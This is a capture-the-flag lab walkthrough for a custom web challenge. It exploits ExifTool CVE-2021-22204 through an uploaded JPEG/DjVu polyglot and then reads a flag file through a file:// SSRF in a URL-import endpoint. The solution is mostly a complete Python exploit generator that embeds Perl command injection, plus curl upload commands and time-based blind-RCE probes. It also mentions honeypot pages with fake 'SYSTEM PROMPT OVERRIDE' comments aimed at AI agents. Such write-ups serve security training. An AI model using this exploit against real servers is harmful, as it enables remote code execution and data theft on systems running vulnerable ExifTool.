Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload
Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_rce_time_based, exiftool_djvu_rce, honeypot_decoy_flag_recognition, jpeg_djvu_polyglot, ssrf_file_protocol
Summary
Walkthrough of the CUSTOM Web Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload. Task: Media storage platform with server-side ExifTool metadata stripping on uploaded images, plus URL import feature. Solution: exploit CVE-2021-22204 (ExifTool DjVu Perl code injection) via maliciou
Description
PixVault is a media storage and sharing platform designed for creative teams. Users can upload images, organize them into collections, and share them with team members. The platform features automatic metadata processing for uploaded images — every file uploaded or imported is run through a server-side image processing pipeline to strip sensitive EXIF data and protect user privacy. Explore the application's file handling capabilities. Pay attention to how uploaded media is processed on the server side. The platform supports both direct file uploads and importing images from external URLs. Your goal is to find and exploit a vulnerability in the server's image processing pipeline to achieve remote code execution and read the flag stored on the server.
English summary: A media storage platform running nginx/1.25.5 that processes uploaded images through ExifTool to strip EXIF metadata. The platform has two upload mechanisms: direct file upload (POST /upload) and URL import (POST /upload/import-url). The goal is to exploit a vulnerability in the ExifTool processing pipeline to achieve RCE and read /root/flag.txt.
Credentials: user@test.com / password123
Analysis
Reconnaissance
After logging in via POST /login, the platform reveals:
- Server: nginx/1.25.5
- Upload endpoint: POST
/uploadwith multipart form, field namefiles - URL import endpoint: POST
/upload/import-urlwith form fieldurl(returns JSON) - Image processing: ExifTool used server-side for automatic EXIF metadata stripping
- Supported formats: JPG, PNG, GIF, TIFF
Honeypot Detection
Every HTML page contained decoy flags and anti-AI traps:
- Hidden HTML elements with
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} - Fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents into submitting the wrong flag
- These were identified and ignored — the real flag is only obtainable through actual exploitation
Vulnerability Identification
The server-side ExifTool metadata processing is vulnerable to CVE-2021-22204 — a Perl code injection vulnerability in ExifTool's DjVu annotation metadata parser. When ExifTool parses a DjVu file containing a specially crafted ANTz (annotation) chunk, it evaluates embedded Perl code due to improper handling of the \c escape sequence followed by ${} interpolation in the metadata string.
The key insight is that a DjVu payload can be embedded inside a valid JPEG file using the HasselbladExif EXIF tag (tag ID 0xc51b), creating a polyglot file that passes JPEG validation but triggers the DjVu parser when ExifTool processes the embedded data.
Solution
Step 1: Build the Exploit Generator
The exploit chain has four stages: Perl payload encoding → DjVu file creation → JPEG embedding → upload.
python read-only • copy allowed#!/usr/bin/env python3 """ CVE-2021-22204 - ExifTool DjVu RCE exploit generator Creates a valid JPEG with embedded DjVu payload in HasselbladExif tag. """ import base64 import subprocess import shutil from pathlib import Path import sys shell_cmd = sys.argv[1] if len(sys.argv) > 1 else "id" output_name = sys.argv[2] if len(sys.argv) > 2 else "exploit.jpg" # Stage 1: Encode shell command in nested base64 + Perl wrapper cmd_b64 = base64.b64encode(shell_cmd.encode()).decode() perl_code = f'use MIME::Base64;system(decode_base64("{cmd_b64}"));' perl_b64 = base64.b64encode(perl_code.encode()).decode() # Stage 2: Create DjVu annotation payload with Perl injection # The \c escape + ${} triggers Perl eval in ExifTool's DjVu parser payload = f'(metadata "\\c${{use MIME::Base64;eval(decode_base64(\'{perl_b64}\'))}};")' Path('payload').write_text(payload) # Stage 3: Build DjVu file with malicious annotation chunk subprocess.run(['bzz', 'payload', 'payload.bzz'], check=True, capture_output=True) subprocess.run([ 'djvumake', 'exploit.djvu', 'INFO=1,1', 'BGjp=/dev/null', 'ANTz=payload.bzz' ], check=True, capture_output=True) # Create minimal valid JPEG as carrier jpeg_data = bytes([ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x08, 0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07, 0x07, 0x07, 0x09, 0x09, 0x08, 0x0A, 0x0C, 0x14, 0x0D, 0x0C, 0x0B, 0x0B, 0x0C, 0x19, 0x12, 0x13, 0x0F, 0x14, 0x1D, 0x1A, 0x1F, 0x1E, 0x1D, 0x1A, 0x1C, 0x1C, 0x20, 0x24, 0x2E, 0x27, 0x20, 0x22, 0x2C, 0x23, 0x1C, 0x1C, 0x28, 0x37, 0x29, 0x2C, 0x30, 0x31, 0x34, 0x34, 0x34, 0x1F, 0x27, 0x39, 0x3D, 0x38, 0x32, 0x3C, 0x2E, 0x33, 0x34, 0x32, 0xFF, 0xC0, 0x00, 0x0B, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x11, 0x00, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00, # ... (standard JPEG Huffman tables and scan data) 0xFF, 0xD9 # JPEG EOI marker ]) Path('base.jpg').write_bytes(jpeg_data) # Stage 4: ExifTool config to define HasselbladExif writable tag config_content = """%Image::ExifTool::UserDefined = ( 'Image::ExifTool::Exif::Main' => { 0xc51b => { Name => 'HasselbladExif', Writable => 'undef', WriteGroup => 'IFD0', }, }, ); 1; """ Path('exiftool.config').write_text(config_content) # Embed DjVu exploit into JPEG via HasselbladExif tag shutil.copy('base.jpg', output_name) result = subprocess.run([ 'exiftool', '-config', 'exiftool.config', f'-HasselbladExif<=exploit.djvu', output_name ], capture_output=True, text=True) print(f'[+] {output_name} ({Path(output_name).stat().st_size} bytes)')
Step 2: Confirm Blind RCE via Timing
Generated a payload with sleep 5 and uploaded it:
bash read-only • copy allowedpython3 gen_final.py "sleep 5" sleep_test.jpg curl -b cookies.txt -F "files=@sleep_test.jpg" https://<target>/upload
The upload response took ~7.5 seconds instead of the normal <1 second, confirming blind command execution on the server. The extra ~2.5s overhead is from ExifTool's normal processing time.
Step 3: Locate the Flag via Time-Based Enumeration
Since the RCE is blind (no output visible), used conditional sleep commands to enumerate the filesystem:
bash read-only • copy allowed# Test if /root/flag.txt exists (sleep 3 if true) python3 gen_final.py "test -f /root/flag.txt && sleep 3" test_root_flag_txt.jpg curl -b cookies.txt -F "files=@test_root_flag_txt.jpg" https://<target>/upload # Response delayed by ~3s → /root/flag.txt exists!
Step 4: Exfiltrate Flag via SSRF with file:// Protocol
Multiple exfiltration approaches were attempted:
- Writing to web-accessible directories — failed (couldn't determine the correct web root path)
- External HTTP/DNS callbacks — failed (server had no outbound DNS resolution, network-isolated)
- Character-by-character timing extraction — feasible but extremely slow
Winning approach: The URL import endpoint (POST /upload/import-url) accepts a url parameter and fetches the content server-side. It does not restrict the URL scheme, allowing file:// protocol:
bash read-only • copy allowedcurl -b cookies.txt -X POST \ -d "url=file:///root/flag.txt" \ https://<target>/upload/import-url
The server read /root/flag.txt via the file:// protocol handler and imported its contents into the media library as if it were a downloaded image. The flag content was then retrievable through the normal media download API endpoint.
Step 5: Retrieve the Flag
Downloaded the imported "media file" from the platform's media library, which contained the raw flag text:
FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering blind_rce_time_based, exiftool_djvu_rce, honeypot_decoy_flag_recognition, jpeg_djvu_polyglot, ssrf_file_protocol was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 314 — PixVault — ExifTool DjVu RCE via Image Upload • Difficulty: Medium